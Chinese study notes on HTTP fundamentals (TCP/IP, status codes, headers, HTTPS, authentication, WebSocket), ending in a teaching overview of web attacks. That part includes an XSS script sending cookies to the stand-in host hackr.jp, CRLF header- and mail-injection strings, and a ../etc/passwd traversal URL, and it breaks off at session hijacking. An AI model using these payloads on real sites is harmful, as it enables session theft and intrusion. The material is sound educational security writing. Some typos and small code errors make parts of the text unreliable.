图解http协议 部分笔记

web及网络基础

应用层

传输层

网络层

链路层

负责传输的ip协议

确保可靠性的TCP

负责域名解析的DNS

ip为网络层

ip地址指明了结点被分配到的地址

mac地址是指网卡所属的固定地址

两者进行配对

ip地址可以变换,mac地址基本不会更改

ARP 是一种用以解析地址的协议,根据通信方 的 IP 地址就可以反查出对应的 MAC 地址。

TCP位于传输层

TCP三次握手

握手过程中使用了 TCP 的标志(flag) —— SYN(synchronize) 和 ACK(acknowledgement)。

发送端首先发送一个带 SYN 标志的数据包给对方。接收端收到后, 回传一个带有 SYN/ACK 标志的数据包以示传达确认信息。最后,发送端再回传一个带 ACK 标志的数据包,代表“握手”结束。

DNS应用层

提供域名到ip地址之间的解析服务

访问计算机可以使用主机名或域名-字母配合数字(www.hackr.jp),也可以用ip地址(纯数字)

DNS协议提供通过域名查找ip地址,或你想从ip地址反查域名的服务
在这里插入图片描述

HTTP协议

请求访问文本或图像等资源的一端称为客户端。

而提供资源响应的一 端称为服务器端。

方法说明支持的HTTP协议版本
GET获取资源1.0、1.1
POST传输实体主体1.0、1.1
PUT传输文件1.0、1.1
HEAD获取报文首部1.0、1.1
DELETE删除文件1.0、1.1
OPTIONS询问支持的方法1.1
TRACE追踪路径1.1
CONNECT要求用隧道协议连接代理1.1
LINK建立与资源之间的联系1.0(已被 HTTP/1.1 废弃,不再支持 )
UNLINE断开连接关系1.0(已被 HTTP/1.1 废弃,不再支持 )

1.持久连接:只要任意一端没有明确提出断开连接,则保持TCP连接状态

持久连接旨在建立 1TCP 连接后进行多次请求和响应的交互

2.管线化:能够同时并行发送多个请求,不需要一个一个等待响应,直接发送下一个请求。

HTTP为无状态协议

因此引入了cookie

HTTP 报文

HTTP 报文大致可分为报文首部和报文主体两块。

两者由最初出现的 空行(CR+LF)来划分。通常,并不一定要有报文主体。

http报文的结构:

报文首部:服务器端或客户端需处理的请求或响应的内容及属性

​ 请求行:包含用于请求的方法,求求uri和HTTP版本

​ 状态行:包含状态码,原因短语和HTTP版本

​ 首部字段:包含表示请求和响应的各种条件和属性的各类首部。一般有4种首部,分别是:通用首部、请求首部、响应首部和实体首部。

​ 其他:可能包含HTTP的RFC里未定义的首部(cookie等)

请求报文(请求行、请求首部字段、通用首部字段、实体首部字段、其他)

响应报文(状态行、响应首部字段、通用首部字段、实体首部字段、其他)

空行(cr+lf):cr+lf回车符和换行符

报文主体:应被发送的数据

HTTP报文实例如下图:

报文主体和实体主体的差异

报文(message

​ 是 HTTP 通信中的基本单位,由 8 位组字节流(octet sequence, 其中 octet 为 8 个比特)组成,通过 HTTP 通信传输。

实体(entity

​ 作为请求或响应的有效载荷数据(补充项)被传输,其内容由实 体首部和实体主体组成。

HTTP 报文的主体用于传输请求或响应的实体主体。

​ 通常,报文主体等于实体主体。只有当传输中进行编码操作时,实体 主体的内容发生变化,才导致它和报文主体产生差异。

报文和实体这两个术语在之后会经常出现,请事先理解两者的差异。

HTTP状态码

类别原因短语
1XXInformational(信息性状态码)接收的请求正在处理
2XXSuccess(成功状态码)请求正常处理完毕
3XXRedirection(重定向状态码)需要进行附加操作以完成请求
4XXClient Error(客户端错误状态码)服务器无法处理请求
5XXServer Error(服务器错误状态码)服务器处理请求出错
2XX 成功

200:OK 客户端发来的请求在服务端已被正常处理

204 No Content:成功处理,但没有资源可返回。浏览器显示的页面不发生更新

​ 一般在只需要客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。

206 Partial Content:对资源某一部分的请求。响应报文中包含由Content-Range指定范围的试题内容

3XX 重定向

301 Moved Permanently 永久性重定向。

表示请求的资源一杯分配了新的URI,以后应使用资源现在所指的URI。

像下方给出的请求 URI,当指定资源路径的最后忘记添加斜杠“/”,就会产生 301 状态码:http://example.com/sample

302 Found 临时性重定向

表示请求的资源已被分配了新的URI,希望用户(本次)能使用新的uri访问

303 See Other

表示由于请求对应的资源存在着另一个URI,应使用GET方法定向获取请求的资源

303和302有着相同的功能,但303明确表示客户端应当采用GET方法请求资源

304 Not Modified

表示客户端发送附带条件的请求时,服务端允许请求访问资源,但未满足条件的情况。

附带条件的请求是指采用get方法的请求报文中包含if-match,if-range等中任一首部。

服务器-资源已找到,但未符合条件请求

304返回时,不包含任何响应的主体部分。,304和重定向没有关系。

307 Temporary Redirect 临时重定向。

与302有相同的含义

4XX客户端错误

400 Bad Request

表示请求报文中存在语法错误。

错误发生时,需修改请求的内容后再次发送请求。

401 Unauthorized

表示发送的请求需要有通过HTTP认证的认证信息。

浏览器首次接收到401响应,会弹出认证用的对话窗口。

403 Forbidden

表明对请求资源的范问被服务器拒绝了。

服务器不允许访问请求的资源,可在实体的主体部分对原因进行描述,能让用户看到。

未获得文件系统的访问授权,访问权限出现某些问题(从未授权的发送源 IP 地址试图访问)等列举的情况都可能是发生 403 的原因。

404 Not Found

1.服务器上没有请求的资源

2.服务器拒绝请求且不想说明理由时使用

5XX服务器错误

500 Internal Server Error :服务器内部资源出故障了

1.服务端在执行请求时发生了错误。

2.web应用存在的bug或某些临时的故障。

503 Service Unavailable:服务器忙

表明服务器暂时处于超负载或正在进行停机维护,无法处理请求。

如果事先得知解除以上状况需要的时间,最好写入RetryAfter 首部字段再返回给客户端

状态码可能优势会和状况不一致,但用户可能察觉不到该点。

与HTTP写作的web服务器

单台虚拟主机实现多个域名

物理层面的服务器:实际只有一台,表面看上去有多台;

有多台虚拟主机:www.tricorder.jp/ www.hacjr.jp/

www.tricorder.jp/ www.hacjr.jp/ 两个域名,通过DNS服务解析域名后,两者访问的IP地址会相同;

通信数据转发程序:代理 网关 隧道

代理服务器:

缓存代理:预先将资源的副本(缓存)保存在代理服务器上。当再次请求时,就不用去源服务器上获取资源,而是将之前缓存的作为响应返回。

透明代理:转发请求或响应时,不对报文做任何加工 的代理类型为透明代理。反之,修改的为非透明代理。

网关:

利用网关可以由HTTP请求转化为其他协议通信

和代理相似,网关是通信线路上的服务器提供非HTTP协议服务。

网关提高了通信的安全性,实现加密

网关可以链接数据库,使用sql查询数据

隧道:

隧道可按要求建立一条与其他服务器的通信线路,使用ssl等加密手段进行通信

确保客户端与服务器进行安全通信

通过隧道的传输,可以和远距离的服务器安全通信。

隧道本身是透明的,客户端不用在意隧道的存在

HTTP首部

报文首部内容为客户端和服务器分别处理请求和响应提供所需要的信息。

http报文:

在请求中,HTTP 报文由方法、URI、HTTP 版本,HTTP 首部字段等部分构成。

在响应中,HTTP 报文由 HTTP 版本、状态码(数字和原因短语),HTTP 首部字段 3 部分构成。

HTTP首部字段结构:

首部字段名:字段值

可以有多个值,keep-alive:time=15,max=100

HTTP 首部字段根据实际用途被分为以下 4 种类型。

1.通用首部字段(General Header Fields

请求报文和响应报文两方都会使用的首部。

首部字段名说明
Cache-Control控制缓存的行为,操作缓存的工作机制 决定是否做缓存
Connection控制不再转发给代理的首部字段、管理持久连接
Date创建HTTP报文的日期时间
Pragma报文指令
Taier报文末端的首部一览
事先说明在报文主体后记录了哪些首部字段
Tansfer-Encoding指定报文主体的传输编码方式
Upgrade升级为其他协议
其参数可以用来制定一个完全不同的通信协议
Via代理服务器的相关信息
追踪客户端和服务器之间的请求和响应报文的传输路径
不仅用于追踪报文的转发,也可避免请求回环的发生
各个代理服务器会往via首部添加自身服务器的信息
Warming错误通知

2.请求首部字段(Request Header Fields

从客户端向服务器端发送请求报文时使用的首部。补充了请求的附加内容、客户端信息、响应内容相关优先级等信息。

字段名说明
Accept首部字段可通知服务器,用户代理能够处理的媒体类型及媒体类型的相对优先级
媒体类型:文本文件text/html,text/plain、图片文件、视频文件、二进制文件等
Accept-Charset通知带我去用户代理支持的字符集及字符集的相对优先顺序
Accept-Encoding内容编码及优先级
Accept-Language语言集,可一次指定多种自然语言集
Authorization用户代理信息,认证信息
Expect客户端通过此字段,写明所期望的某种行为
From使用用户代理的用户电子邮件地址
Host告知服务器,请求的资源所处的互联网主机名和端口号
条件请求刑如if-xxx的请求首部字段,都可称为条件请求。
服务器接受到附带条件的请求后,只有判断指定条件为真,才会执行请求。
if-match只有当if-match的字段值跟etag值匹配一致时,服务器才会接受请求
if-modified-since如果是在if-modified-since字段指定的日期时间后,资源发生了更新,服务器会接受请求,如果请求的资源没有更新过,会返回304。
用于确认代理和客户端拥有的本地资源的有效性。
获取资源的更新日期时间,可通过确认首部字段 Last-Modified 来确定。
if-none-match只有在If-None-Match的字段值与ETag值不一致时,可处理该请求。与If-Match首部字段的作用相反
在GET或HEAD方法中使用首部字段IfNone-Match可获取最新的资源。
因此,这与使用首部字段If-Modified-Since时有些类似。
if-range字段值若是跟etag值或更新的日期时间匹配一致,那么就作为范围请求处理,若不一致,则忽略范围请求,返回全部资源。
如果不适用if-range字段,则需要进行两次处理。
服务器端的资源如果更新,那客户端持有资源中的一部分也会随之无效,当然,范围请求作为前提是无效的。这时,服务器会暂且以状态码412Precondition Failed作为响应返回,其目的是催促客户端再次发送请求。
这样一来,与使用首部字段If-Range 比起来,就需要花费两倍的功夫。
if-unmodified-since和if-modified-since的作用相反。
告知服务器,指定的请求资源只有在字段值内指定的日期时间之后,未发生更新的情况下,才能处理请求。
如果在指定日期时间后发生了更新,则以状态码412Precondition Failed作为响应返回。
max-forwards服务器往下一个服务器转发请求之前,max-forwards的值减1后,重新赋值。当减到为0时,不再进行转发,而是直接返回响应。
Proxy-Authorization接收到从代理服务器发来的认证质询时,客户端会发送包含首部字段Proxy-Authorization的请求,以告知服务器认证所需要的信息。
这个行为是与客户端和服务器之间的HTTP访问认证相类似的,不同之处在于,认证行为发生在客户端与代理之间。
客户端与服务器之间的认证,使用首部字段 Authorization可起到相同作用。
Range告知服务器资源的指定范围,只获取部分资源的范围请求
处理请求范围,返回206
无法处理范围,返回206及全部资源
Referer告知服务器请求的原始资源uri
原始uri中可能包含id和密码等信息,直接在浏览器地址栏输入uri,可能导致信息泄露,故客户端一般都会发送refer而首部字段给服务器
正确拼写应为referrer,但一直延用错误的拼写
TE告知服务器客户端能够处理响应的传输编码方式即相对优先级
与accept-encoding功能相像,但用于传输编码
User-Agent用于传达浏览器的种类
会将创建请求的浏览器和用户代理名称等信息传递给服务器
由网络爬虫发起请求时,有可能会在字段内添加爬虫作者的电子邮件地址。此外,如果请求经过代理,那么中间也很可能被添加上代理服务器的名称。

3.响应首部字段(Response Header Fields

看8.3认证

从服务器端向客户端返回响应报文时使用的首部。补充了响应的附加内容,服务器信息,也会要求客户端附加额外的内容信息。

字段名说明
Accept-Ranges告知客户端,服务器是否能处理范围请求,以指定获取服务器某个部分的资源。
可指定的字段值有:1.可处理范围请求时,指定其为bytes;2.不能处理范围请求时,指定为none
Age告知客户端,源服务器在多久前创建了响应。单位为秒
若为缓存服务器,age是指缓存后的响应再次发起认证到认证完成的时间值。
代理创建响应时必须加上首部字段age
ETag告知客户端实体标识。
是一种可将资源以字符串形式做唯一性标识的方式。
服务器会为每份资源分配对应的ETag值。
生成没有统一的算法规则,紧紧由服务器分配。
当资源更新时,ETag值也需要更新,但资源的uri可能没变。(中文版和英文版的web资源uri虽然相同,但中英对应的资源是不同的)
资源被缓存,就会被分配唯一性标识。
有弱ETag和强ETag之分:
强ETag值,不论实体多么细微的变化都会改变值。
弱ETag值,只用于提示资源是否相同。只有资源发生了根本改变,才改变ETag值。这是,会在字段值最开始出附加W/。e.g:ETag: W/“usagi-1234”
Location将响应接收方引导至某个与请求URI位置不同的资源
基本上,该字段会配合3xx∶Redirection的响应,提供重定向的URI。
几乎所有的浏览器在接收到包含首部字段Location的响应后,都会强制性地尝试对已提示的重定向资源的访问。
Proxy-Authenticate把代理服务器所要求的认证信息发送给客户端
它与客户端和服务器之间的HTTP访问认证的行为相似,不同之处在于其认证行为是在客户端与代理之间进行的。而客户端与服务器之间进行认证时,首部字段WWW-Authorization有着相同的作用。
Retry-After告知客户端应该在多久之后再次发送请求
只要配合503和3xx响应一起使用
Server告知客户端,当前服务器上安装的HTTP服务器应用程序的信息。
Vary可对缓存进行控制。
源服务器会向代理服务器传达关于本地缓存使用方法的命令。
e.g:Vary:Accept-Language
当代理服务器接收到带有 Vary首部字段指定获取资源的请求时,如果使用的Accept-Language字段的值相同,那么就直接从缓存返回响应。反之,则需要先从源服务器端获取资源后才能作为响应返回


从代理服务器接收到源服务器返回包含Vary指定项的响应之后,若再要进行缓存,仅对请求中含有相同Vary指定首部字段的请求返回缓存。
即使对相同资源发起请求,但由于Vary指定的首部字段不相同,因此必须要从源服务器重新获取资源。
WWW-Autjenticate用于HTTP访问认证。
告知客户端适用于访问请求uri所指定资源的认证方案和带参数提示的质询。
在401响应中,会带有该首部字段

4.实体首部字段(Entity Header Fields

针对请求报文和响应报文的实体部分使用的首部。补充了资源内容更新时间等与实体有关的信息。

字段名说明
Allow通知客户端能够支持的Request-URI指定资源的所有HTTP方法(如get、post等)
当服务器接受到不支持的HTTP方法是,返回405Method Not Allowed作为响应返回。与此同时,还会把所有能支持的HTTP方法写入首部字段 Allow后返回。
Content-Encoding告知客户端服务器对实体部分选用的内容编码。(gzip、compress、deflate、identity)
Content-Language告知客户端,实体主体使用的语言
Content-Length表示实体主体部分的大小(单位字节)
Content-Location给出与报文主体部分向对应的uri。
和首部字段Location不同,Content-Location表示的是报文主体返回资源对应的URI。
Content-MD5首部字段Content-MD5是一串由MD5算法生成的值,其目的在于检查报文主体在传输过程中是否保持完整,以及确认传输到达。
客户端会对接收的报文主体执行相同的MD5算法,然后与首部字段Content-MD5的字段值比较
Content-Range告知客户端作为响应返回的实体的那个部分符合范围请求
Content-Type说明实体主体内对象的媒体类型。
和首部字段Accept一样。
字段值形式:type/subtype
Expires将资源失效的日期告知客户端。
当超过指定的时间后,缓存服务器在请求发送过来是,会转向源服务器请求资源。
源服务器不希望缓存服务器对资源缓存时,最好在 Expires字段内写入与首部字段 Date相同的时间值。
但是,当首部字段Cache-Control有指定max-age指令时,比起首部字段Expires,会优先处理max-age指令。
Last-Modifird指明资源最终修改的时间

为cookie服务的首部字段

首部字段名说明首部类型
Set-Cookie开始状态管理所使用的Cookie信息响应首部字段
Cookie服务器接受到的Cookie信息请求首部字段

其他首部字段

首部字段名说明首部类型
X-Frame-Options用于控制网站内容在其他web网站的frame标签内的显示问题。
谜底是为了防止点击劫持攻击
响应
X-XSS-Protection是针对跨站脚本攻击(XSS)的一种对策,用于控制浏览器 XSS 防护机制的开关。
可指定的字段值如下:
0∶将XSS过滤设置成无效状态
1∶将XSS过滤设置成有效状态
响应
DNT表示拒绝个人信息被收集
0:同意被追踪
1拒绝被追踪
请求
P3P可以让web网站上的个人隐私编程一种仅供程序可理解的形式,已达到保护用户隐私的目的响应

确保web安全的HTTPS

TCP和ip是可能被窃听的网络

加密处理防止被窃听

通信加密

HTTP通过和ssl( 安全套接层)或tls(安全层传输协议)的组合使用,加密HTTP的通信内容

与ssl组合使用的HTTP称为https(超文本传输安全协议)

服务器和客户端之间建立起安全的通信线路之后开始通信

内容加密

前提是客户端和服务器同时具备加密和解密机制

对HTTP协议传输的内容本身加密,即把HTTP报文里所含的内容进行加密处理

不验证通信方身份就可能遭遇伪装

验证身份

任何人都可发起请求

查明对手的证书

使用ssl可以确认通信方。

ssl不仅提供加密处理,而且还使用一种被成为证书的手段,用于确认方。

ssl证书用以证明服务器和客户端是实际存在的。

确认通信方(服务器和客户端)持有的证书,即可判断通信方的真实意图

无法证明报文完整性,可能以早篡改

完整性即信息的准确度

1、接收到的内容可能有误

在服务器和客户端之间通信时,有攻击者随意篡改请求和响应,而让客户端和服务器之间的通信看上去人就是正常的。

2、如何防止篡改

常用MD5和SHA-1等散列值校验的方法,以及用来确认文件的数字签名方法。但都需要操纵客户端的用户本人亲自检查验证下载的文件是否就是原本服务器上的文件,浏览器无法自动帮用户检查。

用上面的方法依然无法百分百保证确认结果正确,因此有必要使用https。

ssl提供认证和加密处理及摘要功能。

HTTP+加密+认证+完整性保护=HTTPS

https并非是应用层的一种新协议,只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代 替而已。

HTTP-SSL-TCP

HTTP:应用(HTTP)-TCP-IP

HTTPS:应用(HTTP)-SSL-TCP-IP

采用SSL后,http就拥有了HTTPS的加密、证书和完整性保护这些功能

https采用混合加密机制

在交换密钥环节使用公开密钥加密方式,之后的建立通信交 换报文阶段则使用共享密钥加密方式。
在这里插入图片描述

证明公共密钥正确性的证书

可以使用由数字证书认证机构(如:VerSign)和其他相关机关颁发的公开密钥证书

服务器-向数字证书认证机构提出-公开密钥申请-认证机构判明申请者身份后,对公开密钥做数字签名-分配该已签名的公开密钥-并将密钥放入公钥证书后绑定在一起。

服务器再讲这份机构颁发的公钥证书发给客户端,以进行公开密钥加密方式通信。

公钥证书也可叫做数字证书或直接成为证书

客户端接到证书-使用数字证书认证机构的公开密钥,对证书上的数字签名进行验证。

验证通过:

1.认证服务器的公开密钥是正是有效的数字证书认证机构;

2.服务器的公开密钥是值得信赖的
在这里插入图片描述

证明组织真实性的EV SSL证书

HTTPS通信

在这里插入图片描述

步骤 1: 客户端通过发送 Client Hello 报文开始 SSL通信。报文中包 含客户端支持的 SSL的指定版本、加密组件(Cipher Suite)列(所 使用的加密算法及密钥长度等)。

步骤 2: 服务器可进行 SSL通信时,会以 Server Hello 报文作为应 154答。和客户端一样,在报文中包含 SSL版本以及加密组件。服务的 加密组件内容是从接收到的客户端加密组件内筛选出来的。

步骤 3: 之后服务器发送 Certificate 报文。报文中包含公开密钥证 书。

步骤 4: 最后服务器发送 Server Hello Done 报文通知客户端,最初阶 段的 SSL握手协商部分结束。

步骤 5: SSL第一次握手结束之后,客户端以 Client Key Exchange 报 文作为回应。报文中包含通信加密中使用的一种被称为 Pre-master secret 的随机密码串。该报文已用步骤 3 中的公开密钥进行加密。

步骤 6: 接着客户端继续发送 Change Cipher Spec 报文。该报文会提 示服务器,在此报文之后的通信会采用 Pre-master secret 密钥加密。

步骤 7: 客户端发送 Finished 报文。该报文包含连接至今全部报文的 整体校验值。这次握手协商是否能够成功,要以服务器是否能够正确 解密该报文作为判定标准。

步骤 8: 服务器同样发送 Change Cipher Spec 报文。

步骤 9: 服务器同样发送 Finished 报文。

步骤 10: 服务器和客户端的 Finished 报文交换完毕之后,SSL连接 就算建立完成。当然,通信会受到 SSL的保护。从此处开始进行应用 层协议的通信,即发送 HTTP 请求。

步骤 11: 应用层协议通信,即发送 HTTP 响应。

步骤 12: 最后由客户端断开连接。断开连接时,发送 close_notify 报 文。上图做了一些省略,这步之后再发送 TCP FIN 报文来关闭与 TCP 的通信。

在以上流程中,应用层发送数据时会附加一种叫做 MAC(Message Authentication Code)的报文摘要。MAC 能够查知报文是否遭到篡 改,从而保护报文的完整性。

图解:
在这里插入图片描述

SSL和TLS

https使用ssl和tls这两个协议

tsl是以ssl为原型开发的协议

使用SSL时,处理速度变慢

1.通信慢;2.大量消耗cpu及内存等资源导致处理速度变慢

和HTTP通信相比,ssl通信部分消耗网络资源。

而ssl通信部分,有因为要和通信践行处理,所以时间上有延长了。

由于https还需要和服务器、客户端双方加密即解密处理,因此会消耗CPU和内存等硬件资源。

确认访问用户身份的认证

HTTP 使用的认证方式

HTTP/1.1 使用的认证方式如下所示。

BASIC 认证(基本认证)

不是加密处理。

1.客户端发送请求

2.服务器返回状态码401告知客户端需要进行认证

3.用户id和密码 以base64方式编码后发送

​ 假设用户 ID 为 guest,密码是 guest,连接起来就会形成 guest:guest 这 样的字符串。然后经过Base64 编码,最后的结果即是 Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段 Authorization后, 发送请求。

​ 当用户代理为浏览器时,浏览器hi自动完成base64编码的转换工作。

4.认证成功者返回200,认证失败返回401

DIGEST 认证(摘要认证)

使用质询响应方式。

一开始一方会先发送认证要求给另一方,接 着使用从另一方那接收到的质询码计算生成响应码。最后将响应码返 回给对方进行认证的方式。

步骤:

1.客户端发送请求

2.服务器发送临时的质询码(随机数,nonce)以及告知需要认证的状态码401

3.客户端发送摘要以及质询码计算出的响应吗

4.认证成功返回200,失败返回401

SSL 客户端认证

一般采用双因素认证,认证不仅需要密码,还需要申请认证这提供其他持有信息,作为另一个因素,与其组合使用的认证方式。

第一个认证因素的ssl客户端证书用来认证客户端计算机

另一个因素的密码用来确定是用户本人的行为

需要费用。

FormBase 认证(基于表单认证)

表单认证本身是通过服务端的web应用,将客户端发送过来的用户id和密码与之前登录过的信息做匹配来认证的。

HTTP为无转台协议,因此可以用cookie来管理session,弥补HTTP协议中不存在的状态管理功能。
在这里插入图片描述

保护sessionid:加盐(salt)-在前或后加随机字符串、用散列表

此外,还有 Windows 统一认证(Keberos 认证、NTLM 认证)。

基于HTTP的功能追加协议

消除HTTP瓶颈:Ajax、Comet、SPDY

ajax:局部web页面替换加载的异步通信手段

comet:服务器内更新,comet就不会让请求等待,直接给客户端返回响应,实现推送功能

没有更新就把请求先挂起,等有服务器更新,再立即反馈给客户端

SPDY:缩短web页面的加载时间

以会话层形式加入,控制对数据的流动,但还是采用HTTP家里通信联系

HTTP 应用层

SPDY 会话层

SSL 表示层

TCP 传输层

功能

1.多路复用流:通过单一的TCP连接,可以无限制处理多个HTTP情感求,所有请求都在一条TCP上连接完成

2.赋予请求优先级

3.压缩HTTP首部

4.推送功能:服务器可直接发送数据,不低等待客户端的请求

5.服务器提示功能:服务器主动提示客户端请求所需的资源。 由于在客户端发现资源之前就可以获知资源的存在,因此在资源已缓存等情况下,可以避免发送不必要的请求。

websocket:浏览器进行全双工通信

WebSocket 技术主要是为了解决 Ajax 和 Comet 里 XMLHttpRequest 附带的缺陷所引起的问题。

主要特点:

1.推送功能:服务端主动向客户端发送数据

2.减少通信量:只要建立其websocket链接,就一直保持连接状态。由于websocket的首部信息很小,通信量也响应减少了

​ 实现websocket通信,在HTTP连接建立之后,需要完成一次“握手”的步骤

握手-请求

​ 用到HTTP的upgrade首部字段,告知服务器通信协议发生改变,以达握手目的

​ Sec-WebSocket-Key:握手过程的键值

​ Sec-WebSocket-Protocol:使用的自协议

握手-响应

​ 返回状态码101 Switching Protocols响应

​ Sec-WebSocket-Key-Accept由握手请求中的Sec-WebSocket-Key字段值生成

确立websocket连接后,通信采用websocket独立的数据帧

websocket通信
在这里插入图片描述

websocket api

js可调用api接口

以下为调用websocket api,每50ms发送一次数据的实例

var socket = new WebSocket('ws://game.example.com:12010/updates'); 

socket.onopen = function () {setInterval(function() {if (socket.bufferedAmount == 0) 

​			socket.send(getUpdateData());}, 50); 

}; 
HTTP/2.0

HTTPSpeed+Mobility:用于改善并提高移动端通信时的通信速度和性能的标准

Network-Friendly HTTP Upgrade:主要是在移动端通信时改善HTTP性能的标准

web服务器管理文件的WebDAV

可直接在服务器上队伍恩建进行复制,编辑,加密等操作的分布式文件系统

防火墙的基本功能就是禁止非指定的协议和端口号的数据包通过。因此如果使用新协议或端口号则必须修改防火墙设置。

构建web内容的技术

HTML-动态HTML(dom操作等)

web应用

与文本服务器即程序写作的CGI

CGI(通用网关接口)是指web服务器在接收到客户端发送过来的请求后,转发给程序的一组机制,在CGI的作用下,程序会对请求内容做出相应的动作,如创建HTML等东台内容。

使用CGI的程序叫做CGI程序,通常是用Perl,PHP,Ruby和c等实现

因java而普及的servlet

servlet是一种能在服务器上创建动态内容的程序,是用java语言实现的一个接口。

数据发布的格式及语言

可扩展标记语言:XML

发布更新信息的 RSS(简易信息集合,也叫聚合内容)/Atom,这两种都是发布新闻或博客日志等更新信息文档的格式的总称。

js衍生的轻量级易用JSON

web的攻击技术

互联网上的攻击大都是将web站点作为目标

针对web的攻击技术

HTTP不具备必要的安全功能:现今所有的web网站都会使用会话(session)管理、加密处理等安全性方面的功能,俄日HTTP协议内并不具备这些功能

在客户端即可篡改请求

在HTTP请求报文内加载攻击代码,就能发起对web应用的攻击。

通过 uri查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传 入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或 被攻击者拿到管理权限。

**针对web应用的攻击模式:**主动攻击,被动攻击

1.以服务器为目的的主动攻击:是指攻击者通过直接访问web应用,把攻击代码传入的攻击模式。攻击者需要能够访问到服务器上的资源

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
在这里插入图片描述

2.以服务器为目标的被动攻击:是指理由圈套策略执行攻击代码的攻击模式,攻击者不直接对目标web应用王文发起攻击。

具有代表性的攻击是:跨站脚本攻击和跨站点请求伪造
在这里插入图片描述

利用用户的身份对企业内网发动攻击
在这里插入图片描述

因输出值转义不完全引发的安全漏洞

实现web应用的安全对策可大致氛围以下两部分:

客户端验证

web应用端(服务器端)的验证:输入值验证,输出值转义
在这里插入图片描述

跨站脚本攻击:

跨站脚本攻击,是指通过 存在安全漏洞的web网站 注册用户的浏览器内 运行非法的HTML标签或js进行的一种攻击。动态创建的HTML部分可能隐藏这安全漏洞。

通过表单提交方式攻击

1。通过动态HTML获取信息,用户输入的会被动态解析。如在表单中输入<s>攻击</s>会被当作HTML解析,效果为攻击

2。在uri后面添加

<input type="text" value="">

<script>var f=document.getElements...</script>

</input>

攻击案例:在动态生成HTML处发生

xss是攻击者利用预先设置的陷阱触发的被动攻击

对用户cookie的窃取攻击

<script src="http://hackr.jp/xss.js"></script>

该脚本内指定的http://hackr.jp/xss.js文件

即采用下面的js代码:

var content=escape(document,cookie);

document.write("<img src=http://hackr.jp?>");

document.write(content)

document.write(">")

在存在可跨站脚本攻击安全漏洞的web应用上执行上面这段js程序,即可访问到该web应用所处域名下的cookie信息,然后这些信息会发送值攻击者的web网站(即http://hackr.jp/),记录在它的登录日志中。攻击者就这样窃取到童虎的cookie信息了

使用xss攻击夺取cookie信息
在这里插入图片描述

SQL注入攻击

会执行非法sql的sql注入攻击

sql注入是指针对web应用使用的数据库,通过运行非法的sql而产生的攻击。

影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行或数据库服务器业务关联的程序

sql注入是攻击者将sql语句改变成其他形式已达到破坏结构的攻击,改变sql语句

OS命令注入攻击

是指通过web应用,执行非法的操作系统命令达到攻击的目的。

只要在能调用Shell函数的地方就有存在被攻击的风险。

可以从web应用中通过shell来调用操作系统命令。

一旦调用shell时村子疏漏,就可以执行插入的非法os命令了

HTTP首部注入攻击

设置攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。

属于被动攻击模式。

向首部主体内添加内容的攻击 称为HTTP响应截断攻击。

例如:web应用把从外部接收到的数值,赋值给响应首部字段Location和set-Cookie

通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。

影响:

  • 设置任何cookie信息

  • 重定向至任意uri

  • 显示任意的主体(HTTP响应截断攻击)

HTTP首部注入攻击

​ 可在浏览器发生重定向跳转时

响应首部:Location:http://example.com/?cat=101

攻击者修改为:Location:http://example.com/?cat=101%0D%0ASet-Cookie:+SID=123456789

​ %0D%0A:换行符,

把攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456789的Set-Cookie首部字段

发送请求后,返回如下响应:

Location:http://example.com/?cat=101(%0D%0A:换行符)

Set-Cookie:SID=123456789

如:通过换行符,把本应该为Location的讯息添加给其他首部字段,如添加新的首部字段set-cookie,进而实现在响应中修改信息。

HTTP响应截断攻击

是用在HTTP首部注入的一种攻击。

利用两个换行符就可做出HTTP首部和主体分隔所需的空行了,这样就能显示为找的主体,达到攻击目的。

%0D%0A %0D%0A <html><head><title>显示的网页内容</title></head></html>

返回以下响应:

​ Set-Cookie:UID=(%0D%0A:第一个换行)

​ (%0D%0A:第二个换行)

<html><head><title>显示的网页内容</title></head></html>

可达到和跨站脚本攻击相同的效果

邮件首部注入攻击

是指web应用中的邮件发送功能,攻击者通过向邮件收不to或subject内任意添加非法内容发起的攻击。

对存在安全漏洞的网站,可对于任意有劲地址发送广告邮件或病毒邮件。

邮件首部注入攻击

在表单内填入邮件地址及内容,以邮件的形式发送个网站管理员

1.攻击者将一下数据作为邮件地址发起请求,实现对Bcc邮件地址的追加发送:

book@hackr.jsp%0D%0ABcc:user@example.com

2.使用两个连续的换行符篡改邮件文本内容:

book@hackr.jsp%0D%0A%0D%0ATest Message

根据 上面的方法,也可对to和object等任意邮件首部或向文本添加附件等动作。

目录遍历攻击

是指对本无意公开的文件目录,通过非法阶段其目录路径后,达成访问目的的一种攻击,也称为 路径遍历攻击。

案例:

通过查询字段,指定某个文件名,然后从www/log/文件目录下读取这个指定的文件。

http://example.com/read.php?log=0401.log

攻击这设置如下查询自断后发出请求,会从/www/log/目录开始定位相对路径:

http://example.com/read.php?log=…/…/etc/passwd

则,read.php脚本接受对指定目录的访问请求处理,原本不公开的文件就存在被访问的风险

远程文件包含漏洞

是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的uri充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。

因设置或设计上的缺陷引发的安全漏洞

是指,错误设置web服务器,或是由设计上的一些问题引起的安全漏洞。

强制浏览

是指,从安置在web服务器的公开目录下的文件中,浏览那些原本非资源公开的文件。

影响:

  • 泄露个人信息

  • 泄露原本需要有权限才能查阅的信息

  • 泄露为外联到外界的文件

案例
本来是只有自己才能查看的图片,而其他人只要获取了链接就可以查看内容

不正确的消息处理
是指web的错误信息内包含对攻击者有用的信息

主要错误信息有:web应用 和 数据库等系统 抛出的错误信息

web应用不必在用户画面上展示详细的错误信息,这对攻击者来说,详细的错误信息有可能给他们的攻击给予提示,(错误信息,对开发者来说可能有用,但对用户基本没有)。

开放重定向

是一种对指定的任意uri做重定向跳转的功能

而加入指定的重定向uri到某个具有而已的web网站,那么用户就会被有道到那个web网站。

可信度搞的web网站如果开放重定向功能,则很可能被攻击者选中,并用来作为钓鱼攻击的跳板。

因会话管理疏忽引发的安全漏洞

会话管理是用来管理用户状态的必备功能。

会话劫持

